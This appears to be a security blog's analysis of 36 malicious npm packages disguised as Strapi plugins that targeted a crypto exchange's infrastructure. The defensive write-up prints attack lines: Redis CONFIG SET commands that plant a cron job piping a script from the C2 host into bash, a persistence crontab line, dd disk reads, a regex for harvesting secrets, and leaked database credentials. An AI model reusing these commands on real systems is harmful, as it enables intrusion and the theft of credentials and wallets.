36 fake Strapi plugins on npm targeted a crypto exchange with Redis RCE and PostgreSQL credential theft
Contents
Before the dust settled on the axios maintainer getting fully compromised by North Korean UNC1069 social engineering, yet another npm supply chain attack surfaced. This time, the targeting was remarkably specific.
According to research published by SafeDep in early April 2026, 36 malicious packages disguised as Strapi CMS plugins appeared on the npm registry. Every package followed the strapi-plugin- naming convention with version 3.6.8, mimicking Strapi v3 community plugins.
In contrast to UNC1069 broadly targeting maintainers of Fastify, Lodash, dotenv, and others by hijacking trusted human accounts, these were packages built from scratch purely for attack. However, the payloads (the actual malicious code) contained hardcoded PostgreSQL credentials and hostnames that indicate internal information had already been stolen. The entry point differs, but the pattern is the same: compromise a human or system first, then weaponize what you learn through the supply chain.
The payload contents make it clear this was not a spray-and-pray campaign. There are strong indicators that the infrastructure of crypto exchange Guardarian was the explicit target.
36 packages in 13 hours, 4 throwaway accounts
The packages were published from 4 sock-puppet (disposable impersonation) accounts.
| Account | Package count | Primary payloads |
|---|---|---|
| umarbek1233 | 9 | Redis RCE, Docker escape, reverse shells, credential harvesting |
| kekylf12 | 8 | PostgreSQL direct exfiltration, persistent implants, fileless shells |
| tikeqemif26 | 10 | nordica-series variants |
| umar_bektembiev1 | 10 | Initial wave, includes guardarian-ext |
Metadata from umarbek1233 and kekylf12 reveals the same Node.js v24.13.1 / npm 11.8.0 environment. Either the same person, or at minimum the same dev setup shared across a group.
Every package has the same 3-file structure: package.json, an empty index.js (module.exports = () => {}), and the real payload in postinstall.js. The moment you run npm install, the postinstall script fires and the attack begins without user interaction. No description, no repository, no homepage.
8 payload variants and their evolution
The 36 packages contain 8 distinct payload types, showing the attacker progressively refining their approach over the 13-hour publication window.
graph TD
A["02:02 UTC<br/>Payload 1: Redis RCE<br/>crontab injection + PHP webshell"] --> B["02:47<br/>Payload 2: Docker escape<br/>overlay upperdir parsing"]
B --> C["03:01-03:37<br/>Payload 3-4: Reverse shells<br/>bash/Python/Redis, 3 paths"]
C --> D["03:40-03:46<br/>Payload 5: Credential harvesting<br/>11-phase recon + C2 polling"]
D --> E["04:45<br/>Payload 6: PostgreSQL direct access<br/>hardcoded credentials"]
E --> F["11:53<br/>Payload 7: Persistent implant<br/>hostname===prod-strapi gate"]
F --> G["15:04<br/>Payload 8: Fileless shell<br/>Guardarian-specific paths"]
The timeline shows a progression from rough Redis RCE to precision attacks hardcoding the target’s hostname and file paths.
Payload 1: crontab injection via Redis CONFIG SET
The first package published, strapi-plugin-cron, uses a technique that is classic in the Redis world but still devastating. It sends raw RESP protocol (Redis’s wire protocol) commands to a locally accessible Redis instance.
The attack flow:
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET cron_payload "*/1 * * * * curl -s http://144.31.107.231:9999/shell.sh | bash"
SAVE
CONFIG SET dir changes where Redis saves its data, CONFIG SET dbfilename sets the filename to match crontab’s expected name, and SAVE writes it out as a crontab entry. The cron daemon then downloads and executes a shell script from the C2 (Command and Control) server every minute.
Five crontab paths are attempted:
| Path | Target environment |
|---|---|
/var/spool/cron/crontabs/root | Debian/Ubuntu |
/var/spool/cron/root | RHEL/CentOS |
/etc/cron.d/redis_job | System-wide cron |
/etc/crontab | Global crontab |
/tmp/cron_test | Dry-run write test |
The downloaded shell script plants two backdoors in Strapi’s public upload directory:
- A PHP webshell at
/app/public/uploads/shell.php - A Node.js reverse shell at
/app/public/uploads/revshell.js
It also attempts SSH authorized_keys injection and direct disk reads via mknod /tmp/hostdisk b 8 1 and dd if=/dev/sda1. One unauthenticated Redis instance is all it takes.
What is the Redis CONFIG SET attack?
This technique has been known since around 2015. Redis defaults to no authentication and local binding, and CONFIG SET allows changing the data directory to any path. It is meant for dynamic runtime configuration, but for attackers it becomes an arbitrary file write primitive.
Beyond crontab, SSH authorized_keys, web server document roots, and systemd unit files have all been abused as write targets. Redis 6.0 introduced ACLs (access control lists), and Redis 7.0 protects CONFIG SET dir by default, but older versions or instances running with default settings remain widespread.
Payload 2: Docker overlay escape
strapi-plugin-config attempts a container escape. It parses mount command output to extract the overlayfs upperdir path and reach the host filesystem.
Overlayfs is the union filesystem Docker uses. Container filesystems are composed of a lower layer (the image) and an upper layer (the container’s changes). The upperdir is the host-side path for this upper layer, which should be invisible from inside the container. But in privileged containers or configurations that leak mount information, this path provides a route to the host.
This payload explicitly searches for crypto-related environment variables: HOT_WALLET, COLD_WALLET, DEPOSIT_ADDRESS, MNEMONIC. The targets are private keys for hot wallets (online assets available for immediate transfer) and cold wallets (offline storage).
It also writes a payload to /app/node_modules/.hooks.js, which auto-executes when the Strapi application restarts.
Payload 5: 11-phase reconnaissance and credential harvesting
strapi-plugin-monitor and strapi-plugin-events carry the most systematic payload. On postinstall execution, they run 11 phases of reconnaissance, send collected data to the C2, then enter a command-polling loop.
graph TD
A["Phase 1: System beacon<br/>hostname, user, IP, Node.js version"] --> B["Phase 2: .env file theft<br/>8 hardcoded paths"]
B --> C["Phase 3: Environment variable dump<br/>filter for key/secret/token"]
C --> D["Phase 4: Strapi config files"]
D --> E["Phase 5: Full .env search<br/>find / -maxdepth 5 -name '.env*'"]
E --> F["Phase 6: Redis data dump<br/>INFO, DBSIZE, KEYS"]
F --> G["Phase 7: Network recon<br/>/etc/hosts, ARP, routes"]
G --> H["Phase 8: Docker/K8s secrets<br/>including service account tokens"]
H --> I["Phase 9: Private key search<br/>.pem, .key, id_rsa*, wallet*"]
I --> J["Phase 10: Strapi database access"]
J --> K["Phase 11: C2 polling loop<br/>30 iterations x 5s = 2.5 min"]
Phase 8’s Kubernetes component reads /var/run/secrets/kubernetes.io/serviceaccount/token. If this token leaks, it can be used to access the Kubernetes cluster API beyond the pod boundary.
Environment variable filtering uses the regex /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i, with npm-derived variables excluded as noise. Note wallet and ledger in that list.
C2 communication goes to 144.31.107.231:9999 over plain HTTP POST. No encryption, 15-second timeout. The path format is /c2/<session_id>/, where session IDs look like guard-k7f2m9. The guard- prefix is a strong hint at Guardarian.
Payload 6: PostgreSQL direct access with hardcoded credentials
strapi-plugin-seed has the highest target specificity. PostgreSQL connection details are hardcoded:
host: 127.0.0.1
port: 5432
user: user_strapi
password: 1QKtYPp18UsyU2ZwInVM
These credentials were stolen beforehand. This means the campaign is not initial access but a secondary attack weaponizing existing access. The same pattern as UNC1069 taking over the axios maintainer’s machine and then using npm tokens to publish a poisoned release: reusing credentials obtained through initial access via a different channel. Whether those credentials were obtained via social engineering, a separate supply chain attack, or an insider is unknown, but the depth of prior reconnaissance rules out guesswork.
Post-connection behavior has 3 stages:
- Query
strapi_webhooksto extract internal API URLs - Extract records from
core_storematching secret, token, key, api, webhook, grant, password, auth - Enumerate
pg_databaseand attempt connections to every non-template database
It also explicitly tries databases named guardarian, guardarian_payments, exchange, custody, payments, and api_payments. Table search patterns use /wallet|transaction|deposit|withdraw|hot|cold|balance/i, pinpointing crypto exchange asset management tables.
Payload 7-8: persistence and fileless backdoors
The final two payloads are the most refined.
Payload 7 (strapi-plugin-blurhash@3.6.8) performs strict hostname gating. It only executes when hostname === 'prod-strapi'. This condition means the attacker knew Guardarian’s production hostname.
Persistence is two-layered:
- Writes an agent to
/tmp/.node_gc.js, launched withdetached: true+child.unref()to detach from the parent process - Registers a crontab entry
* * * * * pgrep -f node_gc || node /tmp/.node_gc.jsto resurrect the process every minute if killed
C2 polling runs at 3-second intervals against /shell/poll and /shell/result.
Payload 8 (strapi-plugin-blurhash@3.6.9, same package name, different version) goes further. It uses a fileless (no disk artifacts) approach, spawning a node -e '<inline C2 agent code>' process that exists only in memory.
The hardcoded paths reveal the target’s internal layout:
/var/www/nowguardarian-strapi/.envfor Guardarian’s Strapi environment config/opt/secrets/strapi-green.envfor blue-green deployment environment config- Full directory read of
/opt/secrets/
Jenkins CI pipeline usage is also assumed, with C2 paths like /build/<id>/secret.
How npm supply chain attack tactics have evolved
Placing this campaign alongside recent npm supply chain attacks:
| Campaign | Technique | Target breadth | Technical sophistication |
|---|---|---|---|
| UNC1069 maintainer targeting | Social engineering to compromise maintainer machines | Very broad (Fastify, Lodash, dotenv, high-trust maintainers) | High (humans as attack vector) |
| axios compromise (success case of above) | Maintainer account takeover, legitimate package poisoning | Very broad (100M weekly downloads) | Medium (3 OS RAT) |
| SANDWORM_MODE | Typosquatting (lookalike package names) | Broad (AI developers) | Medium (SSH key and npm token theft) |
| Famous Chollima StegaBin | Typosquatting + zero-width character steganography | Broad | High (C2 concealment) |
| Clinejection | Prompt injection via AI agents | Medium (Cline users) | Very high (AI as attack vector) |
| This Strapi plugin campaign | Typosquatting + weaponized pre-stolen intel | Extremely narrow (single company) | Low-medium (no obfuscation) |
What stands out is the complete absence of code obfuscation. Every payload is readable JavaScript, prioritizing development speed over stealth. Shipping 8 payload variants in 13 hours is a speed-first approach: “land it before detection catches up.”
On the other hand, the attacker knew the target’s production hostname, PostgreSQL credentials, internal directory structure, and CI tooling. That depth of prior reconnaissance (or possible insider involvement) is hard to miss. The npm package route was likely chosen to expand access using internal information already in hand.
The threats npm currently faces come from two directions. One is the UNC1069-style “attack the trusted human” approach, taking over maintainer machines to poison legitimate packages. The other is campaigns like this one: fake packages that directly target specific infrastructure. Both ultimately depend on previously obtained internal information. The npm registry is becoming less of an attack origin and more of a relay point.
IOCs (Indicators of Compromise) and response
C2 traffic concentrates on 3 ports at 144.31.107.231:
| Port | Purpose |
|---|---|
| 9999 | Primary C2: data exfiltration, command delivery |
| 4444 | bash reverse shell |
| 8888 | Python reverse shell |
Filesystem artifacts to check:
| Path | Description |
|---|---|
/tmp/.node_gc.js | Persistent agent |
/tmp/vps_shell.sh, /tmp/redis_exec.sh | Downloaded shell scripts |
/app/public/uploads/shell.php | PHP webshell |
/app/node_modules/.hooks.js | Injected hook |
Any environment that installed these packages should be treated as compromised. Full credential rotation, Redis crontab audit, /tmp inspection for suspicious files, and PostgreSQL connection log review are all necessary.
Developers searching npm for Strapi v3 community plugins should be especially wary of unscoped packages (those without the @strapi/ prefix). Adopting postinstall script restriction mechanisms like pnpm v10’s onlyBuiltDependencies is also an effective way to reduce the blast radius of attacks like this.
Related articles
- axios maintainer explains North Korean UNC1069’s social engineering playbook: fake Slack invite, then a Teams call that delivered a RAT
- Axios was not a one-off: UNC1069 used an ‘Openfort’ persona to target maintainers tied to Fastify, Lodash, and dotenv
- Inside the axios npm supply chain attack: OS-specific RATs delivered through plain-crypto-js